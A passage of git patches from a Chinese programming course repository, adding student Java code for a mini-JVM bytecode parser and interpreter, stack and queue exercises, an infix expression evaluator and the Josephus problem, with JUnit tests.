+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile,ConstantPool pool, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2AsInt();
+		int nameIndex = iter.nextU2AsInt();
+		System.out.println("++>MethodName="+pool.getUTF8String(nameIndex));
+		int descIndex = iter.nextU2AsInt();
+		Method method = new Method(clzFile,accessFlag,nameIndex,descIndex);
+		int attrCount = iter.nextU2AsInt();
+		System.out.println("AttrCount="+attrCount);
+		for(int i=0;i<attrCount;i++){
+			CodeAttr codeAttr = CodeAttr.parse(clzFile,pool, iter);
+			method.setCodeAttr(codeAttr);
+		}
+		return method;
+	}
+
+//	public ByteCodeCommand[] getCmds() {		
+//		return this.getCodeAttr().getCmds();
+//	}
+}
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java b/group11/283091182/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
index 3d707a4fb2..e1658c0234 100644
--- a/group11/283091182/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,5 +1,7 @@
 package com.coderising.jvm.test;
 
+import java.util.List;
+
 import org.junit.After;
 import  org.junit.Assert;
 import org.junit.Before;
@@ -12,7 +14,9 @@
 import com.coderising.jvm.constant.MethodRefInfo;
 import com.coderising.jvm.constant.NameAndTypeInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
 import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
 
 
 
@@ -196,7 +200,78 @@ public void testClassIndex(){
     	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
     
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
    
 
-}
+}
\ No newline at end of file
diff --git a/group11/283091182/src/com/coding/basic/stack/StackUtil.java b/group11/283091182/src/com/coding/basic/stack/StackUtil.java
index cd5aa08d06..8062edc116 100644
--- a/group11/283091182/src/com/coding/basic/stack/StackUtil.java
+++ b/group11/283091182/src/com/coding/basic/stack/StackUtil.java
@@ -26,7 +26,26 @@ public static void reverse(Stack s) {
 			counter--;
 		}
 	}
-
+	
+	public static void reverse2(Stack s) {
+		if(s==null || s.isEmpty()){ 
+			return;
+		};
+		Stack temp = new Stack();
+		int counter = s.size();
+		while(counter>1){
+			//Get the peek one
+			Object o = s.pop();
+			for(int i=0;i<counter-1;i++){
+				temp.push(s.pop());
+			}
+			s.push(o);
+			for(int j=0;j<counter-1;j++){
+				s.push(temp.pop());
+			}
+			counter--;
+		}
+	}
 	/**
 	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
 	 * 
diff --git a/group11/283091182/src/com/coding/basic/stack/expr/InfixExpr.java b/group11/283091182/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..8afc5623aa
--- /dev/null
+++ b/group11/283091182/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,103 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+import java.util.regex.Pattern;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.regex.MatchResult;
+import java.util.regex.Matcher;
+
+public class InfixExpr {
+	String expr = null;
+	Stack numStack = new Stack();
+	Stack opStack = new Stack();
+	private static final String REGEX_OPR = "[\\+\\-\\*\\/]";
+
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		
+		processNumAndOperatorWithPriority();
+		
+		while(!opStack.isEmpty()){
+			char op = (char)opStack.pop();
+			float num2 = (float)numStack.pop();
+			float num1 = (float)numStack.pop();
+			numStack.push(calculate(num1, op, num2));
+		}
+		
+		return (float)numStack.pop();
+	}
+
+	private void processNumAndOperatorWithPriority() {
+		
+		String[] numStrArr = this.getNumbers();
+		char[] operators = this.getOperators();
+		
+		if(numStrArr.length!=operators.length+1){
+			throw new RuntimeException("Invalid Expression:"+this.expr);
+		}
+		
+		this.numStack.push(Float.parseFloat(numStrArr[0]));
+		this.numStack.push(Float.parseFloat(numStrArr[1]));
+		this.opStack.push(operators[0]);
+		for(int i=2;i<numStrArr.length;i++){
+			char op = operators[i-1];
+			while(!this.opStack.isEmpty() && isLowerPriority(op)){
+				float num2 = (float)this.numStack.pop();
+				float num1 = (float)this.numStack.pop();
+				char prevOp = (char)this.opStack.pop();
+				this.numStack.push(this.calculate(num1, prevOp, num2));
+			}
+			this.opStack.push(op);
+			this.numStack.push(Float.parseFloat(numStrArr[i]));
+		}
+	}
+	
+	private char[] getOperators(){
+		char[] charArr= this.expr.toCharArray();
+		char[] result = new char[charArr.length];
+
+		int count = 0;
+		for(char tmp:charArr){
+			if(tmp=='+'||tmp=='-'||tmp=='*'||tmp=='/'){
+				result[count]=tmp;
+				count++;
+			}else if(!Character.isDigit(tmp)){
+				throw new RuntimeException("Unsupported Operator:"+tmp);
+			}
+		}
+		return Arrays.copyOf(result, count);
+	}
+	private String[] getNumbers(){
+		return this.expr.split(REGEX_OPR);
+	}
+	
+	private boolean isLowerPriority(char opr){
+		char prevOp = (char)this.opStack.peek();
+		boolean result = false;
+		if((prevOp=='*'||prevOp=='/')){
+			result =  true;
+		}else if(opr=='+'||opr=='-'){
+			result =  true;
+		}
+		return result;
+	}
+	
+	private float calculate(float num1,char operator, float num2){
+		if(operator=='+'){
+			return num1+num2;
+		}else if(operator=='-'){
+			return num1-num2;
+		}else if(operator=='*'){
+			return num1*num2;
+		}else{
+			return num1/num2;
+		}
+	}
+	
+}
diff --git a/group11/283091182/src/com/coding/basic/stack/expr/InfixExprTest.java b/group11/283091182/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..20e34e8852
--- /dev/null
+++ b/group11/283091182/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}

From 28c5382d8fc10cbc19728c9a0a6647ae7bd81524 Mon Sep 17 00:00:00 2001
From: zhanglei <383117348@qq.com>
Date: Tue, 2 May 2017 11:27:35 +0800
Subject: [PATCH 156/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../275150374Learning/.idea/compiler.xml      | 23 -----
 .../275150374Learning/.idea/description.html  |  1 -
 .../275150374Learning/.idea/encodings.xml     |  5 -
 .../275150374Learning/.idea/misc.xml          | 12 ---
 .../275150374Learning/.idea/modules.xml       |  8 --
 .../275150374/275150374Learning/.idea/vcs.xml |  6 --
 .../com/coding/basic/queue/CircleQueue.java   | 91 ++++++++++++++-----
 .../coding/basic/queue/CircleQueueTest.java   | 32 +++++++
 .../com/coding/basic/queue/Josephus.java      | 41 +++++----
 .../basic/queue/QueueWithTwoStacks.java       | 79 ++++++++--------
 .../basic/queue/QueueWithTwoStacksTest.java   | 23 +++++
 11 files changed, 191 insertions(+), 130 deletions(-)
 delete mode 100644 group01/275150374/275150374Learning/.idea/compiler.xml
 delete mode 100644 group01/275150374/275150374Learning/.idea/description.html
 delete mode 100644 group01/275150374/275150374Learning/.idea/encodings.xml
 delete mode 100644 group01/275150374/275150374Learning/.idea/misc.xml
 delete mode 100644 group01/275150374/275150374Learning/.idea/modules.xml
 delete mode 100644 group01/275150374/275150374Learning/.idea/vcs.xml
 create mode 100644 group27/383117348/data-structure/com/coding/basic/queue/CircleQueueTest.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacksTest.java

diff --git a/group01/275150374/275150374Learning/.idea/compiler.xml b/group01/275150374/275150374Learning/.idea/compiler.xml
deleted file mode 100644
index 217af471a9..0000000000
--- a/group01/275150374/275150374Learning/.idea/compiler.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="CompilerConfiguration">
-    <option name="DEFAULT_COMPILER" value="Javac" />
-    <resourceExtensions />
-    <wildcardResourcePatterns>
-      <entry name="!?*.java" />
-      <entry name="!?*.form" />
-      <entry name="!?*.class" />
-      <entry name="!?*.groovy" />
-      <entry name="!?*.scala" />
-      <entry name="!?*.flex" />
-      <entry name="!?*.kt" />
-      <entry name="!?*.clj" />
-    </wildcardResourcePatterns>
-    <annotationProcessing>
-      <profile default="true" name="Default" enabled="false">
-        <processorPath useClasspath="true" />
-      </profile>
-    </annotationProcessing>
-  </component>
-</project>
-
diff --git a/group01/275150374/275150374Learning/.idea/description.html b/group01/275150374/275150374Learning/.idea/description.html
deleted file mode 100644
index db5f129556..0000000000
--- a/group01/275150374/275150374Learning/.idea/description.html
+++ /dev/null
@@ -1 +0,0 @@
-<html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html>
\ No newline at end of file
diff --git a/group01/275150374/275150374Learning/.idea/encodings.xml b/group01/275150374/275150374Learning/.idea/encodings.xml
deleted file mode 100644
index e206d70d85..0000000000
--- a/group01/275150374/275150374Learning/.idea/encodings.xml
+++ /dev/null
@@ -1,5 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="Encoding" useUTFGuessing="true" native2AsciiForPropertiesFiles="false" />
-</project>
-
diff --git a/group01/275150374/275150374Learning/.idea/misc.xml b/group01/275150374/275150374Learning/.idea/misc.xml
deleted file mode 100644
index de8f7c75a3..0000000000
--- a/group01/275150374/275150374Learning/.idea/misc.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="EntryPointsManager">
-    <entry_points version="2.0" />
-  </component>
-  <component name="ProjectKey">
-    <option name="state" value="project://63537948-39a4-48a0-9c97-34259a0fa913" />
-  </component>
-  <component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" project-jdk-name="1.8" project-jdk-type="JavaSDK">
-    <output url="file://$PROJECT_DIR$/out" />
-  </component>
-</project>
\ No newline at end of file
diff --git a/group01/275150374/275150374Learning/.idea/modules.xml b/group01/275150374/275150374Learning/.idea/modules.xml
deleted file mode 100644
index 5534fceb30..0000000000
--- a/group01/275150374/275150374Learning/.idea/modules.xml
+++ /dev/null
@@ -1,8 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="ProjectModuleManager">
-    <modules>
-      <module fileurl="file://$PROJECT_DIR$/275150374Learning.iml" filepath="$PROJECT_DIR$/275150374Learning.iml" />
-    </modules>
-  </component>
-</project>
\ No newline at end of file
diff --git a/group01/275150374/275150374Learning/.idea/vcs.xml b/group01/275150374/275150374Learning/.idea/vcs.xml
deleted file mode 100644
index c2365ab11f..0000000000
--- a/group01/275150374/275150374Learning/.idea/vcs.xml
+++ /dev/null
@@ -1,6 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<project version="4">
-  <component name="VcsDirectoryMappings">
-    <mapping directory="$PROJECT_DIR$/../../.." vcs="Git" />
-  </component>
-</project>
\ No newline at end of file
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
index 82596ad296..090564d8b6 100644
--- a/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
+++ b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueue.java
@@ -2,38 +2,83 @@
 
 /**
  * 用数组实现循环队列
+ * 
  * @author liuxin
  *
  * @param <E>
  */
-public class CircleQueue <E> {
-	
+public class CircleQueue<E> {
+
 	private final static int DEFAULT_SIZE = 10;
-	
-	//用数组来保存循环队列的元素
-	private Object[] elementData = new Object[DEFAULT_SIZE] ;
-	
-	//队头
-	private int front = 0;  
-	//队尾  
+
+	// 用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE];
+
+	// 队头
+	private int front = 0;
+	// 队尾
 	private int rear = 0;
-	
+
 	public boolean isEmpty() {
-		return false;
-        
-    }
 
-    public int size() {
-        return -1;
-    }
+		return rear == front && elementData[rear] == null;
+	}
+
+	public int size() {
+		if (isEmpty()) {
+			return 0;
+		}
+		return rear > front ? rear - front : DEFAULT_SIZE - (front - rear);
+	}
 
-    
+	public void enQueue(E data) {
+		if (rear == front && elementData[front] != null) {
+			throw new IndexOutOfBoundsException("队列已满的异常");
+		}
+		elementData[rear++] = data;
+		// 如果rear已经到头，那就转头
+		rear = rear == DEFAULT_SIZE ? 0 : rear;
+	}
 
-    public void enQueue(E data) {
-        
-    }
+	@SuppressWarnings("unchecked")
+	public E deQueue() {
+		if (isEmpty()) {
+			throw new IndexOutOfBoundsException("空队列异常");
+		}
+		// 保留队列的rear端的元素的值
+		E oldValue = (E) elementData[front];
+		// 释放队列的rear端的元素
+		elementData[front++] = null;
+		// 如果front已经到头，那就转头
+		front = front == DEFAULT_SIZE ? 0 : front;
+		return oldValue;
+	}
 
-    public E deQueue() {
-        return null;
-    }
+	public String toString() {
+		if (isEmpty()) {
+			return "[]";
+		} else {
+			// 如果front < rear，有效元素就是front到rear之间的元素
+			if (front < rear) {
+				StringBuilder sb = new StringBuilder("[");
+				for (int i = front; i < rear; i++) {
+					sb.append(elementData[i].toString() + ", ");
+				}
+				int len = sb.length();
+				return sb.delete(len - 2, len).append("]").toString();
+			}
+			// 如果front >= rear，有效元素为front->capacity之间、0->front之间的
+			else {
+				StringBuilder sb = new StringBuilder("[");
+				for (int i = front; i < DEFAULT_SIZE; i++) {
+					sb.append(elementData[i].toString() + ", ");
+				}
+				for (int i = 0; i < rear; i++) {
+					sb.append(elementData[i].toString() + ", ");
+				}
+				int len = sb.length();
+				return sb.delete(len - 2, len).append("]").toString();
+			}
+		}
+	}
 }
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/CircleQueueTest.java b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueueTest.java
new file mode 100644
index 0000000000..2103b8d063
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/queue/CircleQueueTest.java
@@ -0,0 +1,32 @@
+package com.coding.basic.queue;
+
+import org.junit.Test;
+
+public class CircleQueueTest {
+	
+	@Test
+	public void testCircleQueue(){
+		CircleQueue<String> queue = new CircleQueue<String>();
+		queue.enQueue("aaaaa");
+		queue.enQueue("bbbbb");
+		queue.enQueue("ccccc");
+		queue.enQueue("ddddd");
+		queue.enQueue("eeeee");
+		queue.enQueue("fffff");
+		queue.enQueue("ggggg");
+		queue.enQueue("hhhhh");
+		queue.enQueue("iiiii");
+		queue.enQueue("jjjjj");
+		System.out.println("队列全满的时候:"+queue); 
+	    System.out.println("删除一个元素后的队列：" + queue.deQueue());  
+
+	    queue.enQueue("dddd");  
+	    System.out.println("删除一个再加一个的时候:"+queue);  
+	    System.out.println("队列满时的长度：" + queue.size());  
+ 
+	    queue.deQueue();  
+	    
+	    System.out.println("删除一个的时候:"+queue);  
+	}
+	
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java b/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
index 0a483e878b..c646e8ca9d 100644
--- a/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
+++ b/group27/383117348/data-structure/com/coding/basic/queue/Josephus.java
@@ -2,35 +2,44 @@
 
 import java.util.ArrayList;
 import java.util.List;
-
+import java.util.Stack;
 
 /**
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
- * 该方法返回一个List， 包含了被杀死人的次序
+ * 用Queue来实现Josephus问题 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数： N个人围成一圈（位置记为0到N-1），
+ * 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来 该方法返回一个List， 包含了被杀死人的次序
+ * 
  * @author liuxin
  *
  */
 public class Josephus {
 
 	public static List<Integer> execute(int n, int m) {
-		if (n < m || n <= 0 || m <= 0) {
+		if (n < m || n <= 0 || m < 0) {
 			throw new RuntimeException("传入参数有误,执行失败!");
 		}
-		//保存被杀掉的数
+		Stack<Integer> copy = new Stack<Integer>();
+		Stack<Integer> count = new Stack<Integer>();
+		for(int i = 0; i < n;i++){
+			count.push(i);
+		}
+		while(!count.isEmpty()){
+			copy.push(count.pop());
+		}
 		List<Integer> ints = new ArrayList<Integer>();
-		//报数
-		int count = 0;
-		while(ints.size()!=n){
-			
-			for(int i=0;i<n;i++){
-				count++;
-				if(count==m){
-					ints.add(i);
-					count = 0;
+		int cot = 0;
+		while(ints.size()<n){
+			if(copy.isEmpty()){
+				while(!count.isEmpty()){
+					copy.push(count.pop());
 				}
 			}
-			
+			cot++;
+			if(cot==m){
+				ints.add(copy.pop());
+				cot = 0;
+			}else{
+				count.push(copy.pop());
+			}
 		}
 		return ints;
 	}
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
index e43d094b49..29ff89d0da 100644
--- a/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
+++ b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -4,44 +4,51 @@
 
 /**
  * 用两个栈来实现一个队列
+ * 
  * @author liuxin
  *
  * @param <E>
  */
 public class QueueWithTwoStacks<E> {
-	private Stack<E> stack1;    
-    private Stack<E> stack2;    
-
-    
-    public QueueWithTwoStacks() {
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-   
-    
-
-    public boolean isEmpty() {
-        return false;
-    }
-
-
-    
-    public int size() {
-        return -1;   
-    }
-
-
-
-    public void enQueue(E item) {
-        
-    }
-
-    public E deQueue() {
-        return null;
-    }
-
-
-
- }
-
+	private Stack<E> stack1;
+	private Stack<E> stack2;
+
+	public QueueWithTwoStacks() {
+		stack1 = new Stack<E>();
+		stack2 = new Stack<E>();
+	}
+
+	public boolean isEmpty() {
+		return stack1.size() == 0 && stack2.size() == 0;
+	}
+
+	public int size() {
+		if (isEmpty()) {
+			return 0;
+		} else {
+			return stack1.size();
+		}
+	}
+
+	public void enQueue(E item) {
+		if (item == null) {
+			throw new NullPointerException();
+		}
+		stack1.push(item);
+	}
+
+	public E deQueue() {
+		if (stack1.isEmpty()) {
+			throw new RuntimeException("队列为空");
+		}
+		while (stack1.size() > 0) {
+			stack2.push(stack1.pop());
+		}
+		E item = stack2.pop();
+		while (stack2.size() > 0) {
+			stack1.push(stack2.pop());
+		};
+		return item;
+	}
+
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacksTest.java b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..79c302467a
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/queue/QueueWithTwoStacksTest.java
@@ -0,0 +1,23 @@
+package com.coding.basic.queue;
+
+import org.junit.Test;
+
+public class QueueWithTwoStacksTest {
+	
+	
+	
+	@Test
+	public void testenQueueAndDequeue(){
+		int[] ints = new int[]{2,5,10,32,41};
+		QueueWithTwoStacks<Integer> queue = new QueueWithTwoStacks<Integer>();
+		for(int i=0;i<ints.length;i++){
+			queue.enQueue(ints[i]);
+		}
+		while(!queue.isEmpty()){
+			System.out.print(queue.deQueue()+" ");
+		}
+		
+	}
+	
+	
+}

From 5484fca9057debbb6756f25def3a484b5a33e470 Mon Sep 17 00:00:00 2001
From: zhanglei <383117348@qq.com>
Date: Tue, 2 May 2017 14:15:51 +0800
Subject: [PATCH 157/262] =?UTF-8?q?jvm=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coderising/jvm/cmd/BiPushCmd.java     |   8 +-
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  35 ++++++
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |   7 ++
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  12 ++
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  28 +++--
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  69 ++++++++--
 .../com/coderising/jvm/cmd/LdcCmd.java        |  14 +++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  28 +++--
 .../com/coderising/jvm/cmd/NoOperandCmd.java  | 118 +++++++++++++++++-
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  16 +++
 .../coderising/jvm/engine/ExecutorEngine.java |  46 ++++++-
 .../com/coderising/jvm/engine/JavaObject.java |  57 +++++----
 .../com/coderising/jvm/engine/MethodArea.java |  81 +++++++-----
 .../coderising/jvm/engine/OperandStack.java   |  26 ++++
 .../com/coderising/jvm/engine/StackFrame.java | 115 ++++++++++-------
 .../com/coderising/jvm/method/Method.java     |  70 ++++++++++-
 .../com/coderising/jvm/test/MiniJVMTest.java  |  29 +++++
 17 files changed, 622 insertions(+), 137 deletions(-)
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/engine/OperandStack.java
 create mode 100644 group27/383117348/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java

diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
index 1c4168903e..19b35ea04c 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
@@ -4,6 +4,8 @@
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 
@@ -22,8 +24,10 @@ public String toString(ConstantPool pool) {
 
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
-		// TODO Auto-generated method stub
-		
+		int value = this.getOperand();
+		JavaObject jo = Heap.getInstance().newInt(value);
+		frame.getOprandStack().push(jo);
+
 	}
 	
 	
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
index 75324bccc8..05fa0e2a35 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -16,6 +16,41 @@ public abstract class ByteCodeCommand {
 	ClassFile clzFile;	
 	private int offset;
 	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+	
 	private static Map<String,String> codeMap = new HashMap<String,String>();
 	
 	static{
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
index 7b16cc6243..0bb497e8d9 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -2,7 +2,9 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
 import com.coderising.jvm.engine.StackFrame;
 
 
@@ -20,7 +22,12 @@ public String toString(ConstantPool pool) {
 
 	@Override
 	public void execute(StackFrame frame, ExecutionResult result) {
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String fieldName = fieldRef.getFieldName();
+		JavaObject jo = frame.getOprandStack().pop();
+		JavaObject fieldValue = jo.getFieldValue(fieldName);
 		
+		frame.getOprandStack().push(fieldValue);
 		
 	}
 	
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
index eaf0ec1562..4224d1b49e 100644
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -6,6 +6,8 @@
 import com.coderising.jvm.constant.FieldRefInfo;
 import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.engine.ExecutionResult;
